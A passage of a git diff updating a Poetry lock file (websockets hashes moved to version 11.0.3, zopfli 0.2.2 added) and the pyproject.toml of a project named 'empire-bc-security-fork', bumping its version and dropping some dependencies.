"sha256:942de28af58f352a6f588bc72490ae0f4ccd6dfc2bd3de5945b882a078e4e179"}, - {file = "websockets-10.4-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c9b27d6c1c6cd53dc93614967e9ce00ae7f864a2d9f99fe5ed86706e1ecbf485"}, - {file = "websockets-10.4-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:3d3cac3e32b2c8414f4f87c1b2ab686fa6284a980ba283617404377cd448f631"}, - {file = "websockets-10.4-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:da39dd03d130162deb63da51f6e66ed73032ae62e74aaccc4236e30edccddbb0"}, - {file = "websockets-10.4-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:389f8dbb5c489e305fb113ca1b6bdcdaa130923f77485db5b189de343a179393"}, - {file = "websockets-10.4-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:09a1814bb15eff7069e51fed0826df0bc0702652b5cb8f87697d469d79c23576"}, - {file = "websockets-10.4-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ff64a1d38d156d429404aaa84b27305e957fd10c30e5880d1765c9480bea490f"}, - {file = "websockets-10.4-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:b343f521b047493dc4022dd338fc6db9d9282658862756b4f6fd0e996c1380e1"}, - {file = "websockets-10.4-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:932af322458da7e4e35df32f050389e13d3d96b09d274b22a7aa1808f292fee4"}, - {file = "websockets-10.4-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d6a4162139374a49eb18ef5b2f4da1dd95c994588f5033d64e0bbfda4b6b6fcf"}, - {file = "websockets-10.4-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c57e4c1349fbe0e446c9fa7b19ed2f8a4417233b6984277cce392819123142d3"}, - {file = "websockets-10.4-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b627c266f295de9dea86bd1112ed3d5fafb69a348af30a2422e16590a8ecba13"}, - {file = "websockets-10.4-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:05a7233089f8bd355e8cbe127c2e8ca0b4ea55467861906b80d2ebc7db4d6b72"}, - {file = "websockets-10.4.tar.gz", hash = "sha256:eef610b23933c54d5d921c92578ae5f89813438fded840c2e9809d378dc765d3"}, + {file = "websockets-11.0.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:3ccc8a0c387629aec40f2fc9fdcb4b9d5431954f934da3eaf16cdc94f67dbfac"}, + {file = "websockets-11.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d67ac60a307f760c6e65dad586f556dde58e683fab03323221a4e530ead6f74d"}, + {file = "websockets-11.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:84d27a4832cc1a0ee07cdcf2b0629a8a72db73f4cf6de6f0904f6661227f256f"}, + {file = "websockets-11.0.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ffd7dcaf744f25f82190856bc26ed81721508fc5cbf2a330751e135ff1283564"}, + {file = "websockets-11.0.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7622a89d696fc87af8e8d280d9b421db5133ef5b29d3f7a1ce9f1a7bf7fcfa11"}, + {file = "websockets-11.0.3-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bceab846bac555aff6427d060f2fcfff71042dba6f5fca7dc4f75cac815e57ca"}, + {file = "websockets-11.0.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:54c6e5b3d3a8936a4ab6870d46bdd6ec500ad62bde9e44462c32d18f1e9a8e54"}, + {file = "websockets-11.0.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:41f696ba95cd92dc047e46b41b26dd24518384749ed0d99bea0a941ca87404c4"}, + {file = "websockets-11.0.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:86d2a77fd490ae3ff6fae1c6ceaecad063d3cc2320b44377efdde79880e11526"}, + {file = "websockets-11.0.3-cp310-cp310-win32.whl", hash = "sha256:2d903ad4419f5b472de90cd2d40384573b25da71e33519a67797de17ef849b69"}, + {file = "websockets-11.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:1d2256283fa4b7f4c7d7d3e84dc2ece74d341bce57d5b9bf385df109c2a1a82f"}, + {file = "websockets-11.0.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:e848f46a58b9fcf3d06061d17be388caf70ea5b8cc3466251963c8345e13f7eb"}, + {file = "websockets-11.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:aa5003845cdd21ac0dc6c9bf661c5beddd01116f6eb9eb3c8e272353d45b3288"}, + {file = "websockets-11.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:b58cbf0697721120866820b89f93659abc31c1e876bf20d0b3d03cef14faf84d"}, + {file = "websockets-11.0.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:660e2d9068d2bedc0912af508f30bbeb505bbbf9774d98def45f68278cea20d3"}, + {file = "websockets-11.0.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c1f0524f203e3bd35149f12157438f406eff2e4fb30f71221c8a5eceb3617b6b"}, + {file = "websockets-11.0.3-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:def07915168ac8f7853812cc593c71185a16216e9e4fa886358a17ed0fd9fcf6"}, + {file = "websockets-11.0.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:b30c6590146e53149f04e85a6e4fcae068df4289e31e4aee1fdf56a0dead8f97"}, + {file = "websockets-11.0.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:619d9f06372b3a42bc29d0cd0354c9bb9fb39c2cbc1a9c5025b4538738dbffaf"}, + {file = "websockets-11.0.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:01f5567d9cf6f502d655151645d4e8b72b453413d3819d2b6f1185abc23e82dd"}, + {file = "websockets-11.0.3-cp311-cp311-win32.whl", hash = "sha256:e1459677e5d12be8bbc7584c35b992eea142911a6236a3278b9b5ce3326f282c"}, + {file = "websockets-11.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:e7837cb169eca3b3ae94cc5787c4fed99eef74c0ab9506756eea335e0d6f3ed8"}, + {file = "websockets-11.0.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:9f59a3c656fef341a99e3d63189852be7084c0e54b75734cde571182c087b152"}, + {file = "websockets-11.0.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2529338a6ff0eb0b50c7be33dc3d0e456381157a31eefc561771ee431134a97f"}, + {file = "websockets-11.0.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:34fd59a4ac42dff6d4681d8843217137f6bc85ed29722f2f7222bd619d15e95b"}, + {file = "websockets-11.0.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:332d126167ddddec94597c2365537baf9ff62dfcc9db4266f263d455f2f031cb"}, + {file = "websockets-11.0.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:6505c1b31274723ccaf5f515c1824a4ad2f0d191cec942666b3d0f3aa4cb4007"}, + {file = "websockets-11.0.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:f467ba0050b7de85016b43f5a22b46383ef004c4f672148a8abf32bc999a87f0"}, + {file = "websockets-11.0.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:9d9acd80072abcc98bd2c86c3c9cd4ac2347b5a5a0cae7ed5c0ee5675f86d9af"}, + {file = "websockets-11.0.3-cp37-cp37m-win32.whl", hash = "sha256:e590228200fcfc7e9109509e4d9125eace2042fd52b595dd22bbc34bb282307f"}, + {file = "websockets-11.0.3-cp37-cp37m-win_amd64.whl", hash = "sha256:b16fff62b45eccb9c7abb18e60e7e446998093cdcb50fed33134b9b6878836de"}, + {file = "websockets-11.0.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:fb06eea71a00a7af0ae6aefbb932fb8a7df3cb390cc217d51a9ad7343de1b8d0"}, + {file = "websockets-11.0.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:8a34e13a62a59c871064dfd8ffb150867e54291e46d4a7cf11d02c94a5275bae"}, + {file = "websockets-11.0.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:4841ed00f1026dfbced6fca7d963c4e7043aa832648671b5138008dc5a8f6d99"}, + {file = "websockets-11.0.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a073fc9ab1c8aff37c99f11f1641e16da517770e31a37265d2755282a5d28aa"}, + {file = "websockets-11.0.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:68b977f21ce443d6d378dbd5ca38621755f2063d6fdb3335bda981d552cfff86"}, + {file = "websockets-11.0.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e1a99a7a71631f0efe727c10edfba09ea6bee4166a6f9c19aafb6c0b5917d09c"}, + {file = "websockets-11.0.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:bee9fcb41db2a23bed96c6b6ead6489702c12334ea20a297aa095ce6d31370d0"}, + {file = "websockets-11.0.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:4b253869ea05a5a073ebfdcb5cb3b0266a57c3764cf6fe114e4cd90f4bfa5f5e"}, + {file = "websockets-11.0.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:1553cb82942b2a74dd9b15a018dce645d4e68674de2ca31ff13ebc2d9f283788"}, + {file = "websockets-11.0.3-cp38-cp38-win32.whl", hash = "sha256:f61bdb1df43dc9c131791fbc2355535f9024b9a04398d3bd0684fc16ab07df74"}, + {file = "websockets-11.0.3-cp38-cp38-win_amd64.whl", hash = "sha256:03aae4edc0b1c68498f41a6772d80ac7c1e33c06c6ffa2ac1c27a07653e79d6f"}, + {file = "websockets-11.0.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:777354ee16f02f643a4c7f2b3eff8027a33c9861edc691a2003531f5da4f6bc8"}, + {file = "websockets-11.0.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:8c82f11964f010053e13daafdc7154ce7385ecc538989a354ccc7067fd7028fd"}, + {file = "websockets-11.0.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:3580dd9c1ad0701169e4d6fc41e878ffe05e6bdcaf3c412f9d559389d0c9e016"}, + {file = "websockets-11.0.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6f1a3f10f836fab6ca6efa97bb952300b20ae56b409414ca85bff2ad241d2a61"}, + {file = "websockets-11.0.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:df41b9bc27c2c25b486bae7cf42fccdc52ff181c8c387bfd026624a491c2671b"}, + {file = "websockets-11.0.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:279e5de4671e79a9ac877427f4ac4ce93751b8823f276b681d04b2156713b9dd"}, + {file = "websockets-11.0.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:1fdf26fa8a6a592f8f9235285b8affa72748dc12e964a5518c6c5e8f916716f7"}, + {file = "websockets-11.0.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:69269f3a0b472e91125b503d3c0b3566bda26da0a3261c49f0027eb6075086d1"}, + {file = "websockets-11.0.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:97b52894d948d2f6ea480171a27122d77af14ced35f62e5c892ca2fae9344311"}, + {file = "websockets-11.0.3-cp39-cp39-win32.whl", hash = "sha256:c7f3cb904cce8e1be667c7e6fef4516b98d1a6a0635a58a57528d577ac18a128"}, + {file = "websockets-11.0.3-cp39-cp39-win_amd64.whl", hash = "sha256:c792ea4eabc0159535608fc5658a74d1a81020eb35195dd63214dcf07556f67e"}, + {file = "websockets-11.0.3-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:f2e58f2c36cc52d41f2659e4c0cbf7353e28c8c9e63e30d8c6d3494dc9fdedcf"}, + {file = "websockets-11.0.3-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:de36fe9c02995c7e6ae6efe2e205816f5f00c22fd1fbf343d4d18c3d5ceac2f5"}, + {file = "websockets-11.0.3-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0ac56b661e60edd453585f4bd68eb6a29ae25b5184fd5ba51e97652580458998"}, + {file = "websockets-11.0.3-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e052b8467dd07d4943936009f46ae5ce7b908ddcac3fda581656b1b19c083d9b"}, + {file = "websockets-11.0.3-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:42cc5452a54a8e46a032521d7365da775823e21bfba2895fb7b77633cce031bb"}, + {file = "websockets-11.0.3-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:e6316827e3e79b7b8e7d8e3b08f4e331af91a48e794d5d8b099928b6f0b85f20"}, + {file = "websockets-11.0.3-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8531fdcad636d82c517b26a448dcfe62f720e1922b33c81ce695d0edb91eb931"}, + {file = "websockets-11.0.3-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c114e8da9b475739dde229fd3bc6b05a6537a88a578358bc8eb29b4030fac9c9"}, + {file = "websockets-11.0.3-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e063b1865974611313a3849d43f2c3f5368093691349cf3c7c8f8f75ad7cb280"}, + {file = "websockets-11.0.3-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:92b2065d642bf8c0a82d59e59053dd2fdde64d4ed44efe4870fa816c1232647b"}, + {file = "websockets-11.0.3-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:0ee68fe502f9031f19d495dae2c268830df2760c0524cbac5d759921ba8c8e82"}, + {file = "websockets-11.0.3-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dcacf2c7a6c3a84e720d1bb2b543c675bf6c40e460300b628bab1b1efc7c034c"}, + {file = "websockets-11.0.3-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b67c6f5e5a401fc56394f191f00f9b3811fe843ee93f4a70df3c389d1adf857d"}, + {file = "websockets-11.0.3-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1d5023a4b6a5b183dc838808087033ec5df77580485fc533e7dab2567851b0a4"}, + {file = "websockets-11.0.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:ed058398f55163a79bb9f06a90ef9ccc063b204bb346c4de78efc5d15abfe602"}, + {file = "websockets-11.0.3-py3-none-any.whl", hash = "sha256:6681ba9e7f8f3b19440921e99efbb40fc89f26cd71bf539e45d8c8a25c976dc6"}, + {file = "websockets-11.0.3.tar.gz", hash = "sha256:88fc51d9a26b10fc331be344f1781224a375b78488fc343620184e95a4b27016"}, ] [[package]] @@ -2365,7 +2829,81 @@ docs = ["Sphinx", "repoze.sphinx.autointerface"] test = ["coverage (>=5.0.3)", "zope.event", "zope.testing"] testing = ["coverage (>=5.0.3)", "zope.event", "zope.testing"] +[[package]] +name = "zopfli" +version = "0.2.2" +description = "Zopfli module for python" +optional = false +python-versions = ">=3.7" +files = [ + {file = "zopfli-0.2.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e340851bbdea91408e6713748b4082c2e464a80eef9f9a69ff5a20e5e008cace"}, + {file = "zopfli-0.2.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:093a58fdf1e592f01233fc16900ceb69f27f19b347deb49544df96d912664f6d"}, + {file = "zopfli-0.2.2-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:bd7b174fef2366723f57d16f3e8d157f9cbb53b1c555e2a1f99b6290de94ca28"}, + {file = "zopfli-0.2.2-cp310-cp310-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:a712fdc3dab61037fab549ff72539b7968ffda567e5460aa2518e40a13b4dd38"}, + {file = "zopfli-0.2.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:02a0c37826c0b28454865fdf664d54627fe8d90fac6f7325b5215719e8be09ca"}, + {file = "zopfli-0.2.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:20b02b5c9f1cfbcfc154e54981d1b9f9581ca1f54ece39c6aed52f7166a6f081"}, + {file = "zopfli-0.2.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:01e82e6e31cfcb2eb7e3d6d72d0a498d150e3c3112cae3b5ab88ca3efedbc162"}, + {file = "zopfli-0.2.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:8c2e6d0618e1ffc27a1eaf66662f96e0bc8a4c1926fc139a0f544b93a1e1b451"}, + {file = "zopfli-0.2.2-cp310-cp310-win32.whl", hash = "sha256:e0014bd1b9703c9cdfa7f88bc793600aee5f858dd2f18105b49a70e66b9f1b1d"}, + {file = "zopfli-0.2.2-cp310-cp310-win_amd64.whl", hash = "sha256:13487519e6ee8ed36c4a197d146d8ae60d418172d85342d3cdd28f38f905a705"}, + {file = "zopfli-0.2.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:fa589e4d2b54d95447cb79a6053050fc7218f61594085ca54672cb045ba0f7f8"}, + {file = "zopfli-0.2.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:bd661f0894a4e4d78ce4c07e2625b0fd17ae172040ce57c5e1c32316a16727c9"}, + {file = "zopfli-0.2.2-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ed2137d64470469c825713aac486aacc9e2c46e300b92cb39ae47f4024b86b2e"}, + {file = "zopfli-0.2.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:69411d85ed25ea25f480410048b397abc4c98562ce3533ecc3ce65358acc52dd"}, + {file = "zopfli-0.2.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ed09efbcdc8bce5b5ff052ffd1edabdabd7a43e340ee63f8d5e81644dc50110f"}, + {file = "zopfli-0.2.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:9de02f057ed153c9f523e72a366b8f48e2634c9f867e7109232415efe11d36c2"}, + {file = "zopfli-0.2.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:2bafc105065fae35bd96100a5901a7d816f1904eb732d94b6d46cf480ead581b"}, + {file = "zopfli-0.2.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:898daa330577101aab03806231e9b29990ebaa34f275d9df2045d0551edd1e87"}, + {file = "zopfli-0.2.2-cp311-cp311-win32.whl", hash = "sha256:b5b2e2ac397a71772fbbdc5b31fa8257e46f2a1e718e5c17c08db3dac7c739e4"}, + {file = "zopfli-0.2.2-cp311-cp311-win_amd64.whl", hash = "sha256:259f15d65e554b16a6086bfe96dd7bd175467eb3d024b9dbce41323b5861a285"}, + {file = "zopfli-0.2.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:f6f62330a3999522282d0cc6370682d86985ac66edc2799f5934e309d8d615f1"}, + {file = "zopfli-0.2.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8e05a2506e8a8d44835a11d5f1c296035d65d0f7053f77730ce99066acaf09af"}, + {file = "zopfli-0.2.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:573ae7e1cb4f0c9a248c203440950b24b213c13b5169e169a884c777ad9054e4"}, + {file = "zopfli-0.2.2-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:47d9ec1ca32240fae8b9b41e90d6483f4d0f2946de4785f54f4f57afe83040be"}, + {file = "zopfli-0.2.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:da3d682956e447f61ad23f66f49f20f189d12b15857a2e524497793ae54027c4"}, + {file = "zopfli-0.2.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:58ddab571a77988bc585e1a6fa46f9848b45880fa74bc832b135cbc22d22a619"}, + {file = "zopfli-0.2.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:00a66579f2e663cd7eabad71f5b114abf442f4816fdaf251b4b495aa9d016a67"}, + {file = "zopfli-0.2.2-cp37-cp37m-win32.whl", hash = "sha256:c49e29739508a7142fa1437256a7bf631926e70e68ca50a6bd62ee4e80050acc"}, + {file = "zopfli-0.2.2-cp37-cp37m-win_amd64.whl", hash = "sha256:8d6d02e1a962995c380411cc4ec81d1f4fc60c293764f8acd859eb12bfdf7190"}, + {file = "zopfli-0.2.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:a568f09aa932a04073a4147e2db5db2adfccd864326477d58d4ffc80550531c7"}, + {file = "zopfli-0.2.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:c27af5f9a6538891af7257e104a37affbe26383fc0bd57b52c05fe2f45292dc9"}, + {file = "zopfli-0.2.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5aea70d124ff9c0a33078f1451dfa2dd29eba53ea0627acb88783a19f0692044"}, + {file = "zopfli-0.2.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:3b58455a9d23f6d45f2686891d7bec916132aed335052459bbed36a2b9437c1d"}, + {file = "zopfli-0.2.2-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:7146c58c5ff604e7798d4c015c0ca8da53128ca29d0f1bccb48c785953451cd4"}, + {file = "zopfli-0.2.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:81c2c1216814a4f2f9abcd49fd4b70f05266d3621ef3b21e4b1b7bf535876fc1"}, + {file = "zopfli-0.2.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:468c4317aca9411b576a27f6f26217bdd30e04fdfc420d3d7e8b6f1fef4e9886"}, + {file = "zopfli-0.2.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:691d4e0fd04e85ee5f59e019ed0da16d8f544904d3879a34986722d87a90c536"}, + {file = "zopfli-0.2.2-cp38-cp38-win32.whl", hash = "sha256:2b4b5ae717dc2c164d9fae6134eac285915aaef77723f8cf9765555ac926f6d0"}, + {file = "zopfli-0.2.2-cp38-cp38-win_amd64.whl", hash = "sha256:c9d444b26317f3c40909d555f9c611ef8bcac6edf016af7709a32ad5848b481d"}, + {file = "zopfli-0.2.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:db004eb8ee7aab9c86647b92e1e570edb6fec9bd384a7a4f24e1f6529db34ac3"}, + {file = "zopfli-0.2.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:a989893b20381be266a2385f4a1b77316e0df4258ee048bb190c2e426e39cbc8"}, + {file = "zopfli-0.2.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e1689ced6f6ebf674281d85c143529232aa039c4e8d814bf3b425f1793bfdeb4"}, + {file = "zopfli-0.2.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4fcc34fd420ec5750f9981db43ee9a4f2e2bfabdc52128b243fca1fd9b99e13d"}, + {file = "zopfli-0.2.2-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:33c876d311c5edc700ccf75a22d03dcda1efa85b43f733913a99b5f3d1eb4ea7"}, + {file = "zopfli-0.2.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:3df7ae869dcb8e0bb3292e6ab041d16323af37d87c8dca1dde7b2fe5cb6b7cf7"}, + {file = "zopfli-0.2.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:4cbc6192bf24425c757281c7c864012e51d29095771f805ea3040702c10c3d7a"}, + {file = "zopfli-0.2.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:8563e639534201a14c109c54965f8a71574d8cf525a0a521d310e044d81fece9"}, + {file = "zopfli-0.2.2-cp39-cp39-win32.whl", hash = "sha256:4b471e3f58bd7b77cfc7a29b28a10c094ea4cd9ee14c54fbc4f1150680aac68c"}, + {file = "zopfli-0.2.2-cp39-cp39-win_amd64.whl", hash = "sha256:1e3aefca003cbb41a6dcdd61f920c807eea99d0196aff488f02275c3b3c400a9"}, + {file = "zopfli-0.2.2-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:17694cfda43fb2af18b571bfc60426fb67d7701d75cc1f0e634ad0a19ffaebdd"}, + {file = "zopfli-0.2.2-pp37-pypy37_pp73-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:71eafbe6ce975f77a5247bf44fdfdb78e846a76a3391de4d75cc68ea74542048"}, + {file = "zopfli-0.2.2-pp37-pypy37_pp73-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:a85d500cfa06f127e441e90804556a3872ea329e065d2f0ee97922d03afc9885"}, + {file = "zopfli-0.2.2-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:4205bb3aea31f22cd52bd1a9c298944591bfd9b6f92ede0af99127750b27eb3b"}, + {file = "zopfli-0.2.2-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ec845584fcdc10763d869b40b742fe0e2684adf3ca275ec997b9447ef5fe3ad9"}, + {file = "zopfli-0.2.2-pp38-pypy38_pp73-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:1360df0d423c897164a3344ed6635f7fd098cb4ce59c6d45b4275b93727d57f6"}, + {file = "zopfli-0.2.2-pp38-pypy38_pp73-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:537da300842f06470c036d6d7e7fc9e63713735ee0b96ee97a750d1ec0399639"}, + {file = "zopfli-0.2.2-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:2e5b7874dfe228715569940561cdc0485ed8cbfd2c76eebc4e54719e0c9cc494"}, + {file = "zopfli-0.2.2-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:8c1b316a5eed59a9a49a886aeeaf3b7233627a1013b10f230817870278e15789"}, + {file = "zopfli-0.2.2-pp39-pypy39_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2ce7cbe8f6fff013aa695d5d92ac2b1fd46fd012858109fdde9824759b566685"}, + {file = "zopfli-0.2.2-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2d5e81fed8ac2d71832177ab06385f032cc3a37eec76537d105b1018b7fef0ff"}, + {file = "zopfli-0.2.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:2ea855a740ee766c872cbf84abdcc1b6a51b5dbdeb6ace995f36c934b3846467"}, + {file = "zopfli-0.2.2.zip", hash = "sha256:2d49db7540d9991976af464ebc1b9ed12988c04d90691bcb51dc4a373a9e2afc"}, +] + +[package.extras] +test = ["pytest"] + [metadata] lock-version = "2.0" python-versions = ">=3.8,<3.12" -content-hash = "465d8c04c1ef9324eced4f9a5e82b8ac0eb21b6f691c4310feb5c88d8be1c06c" +content-hash = "c9a590b3422d2c1b249b48309fe5bbde7f4d4f136a20101b8eea6eda3793b848" diff --git a/pyproject.toml b/pyproject.toml index b307fce3f..a075c995b 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "empire-bc-security-fork" -version = "5.5.4" +version = "5.6.3" description = "" authors = ["BC Security "] readme = "README.md" @@ -14,52 +14,55 @@ packages = [ [tool.poetry.dependencies] python = ">=3.8,<3.12" -urllib3 = "*" -requests = "^2.24.0" -iptools = "*" 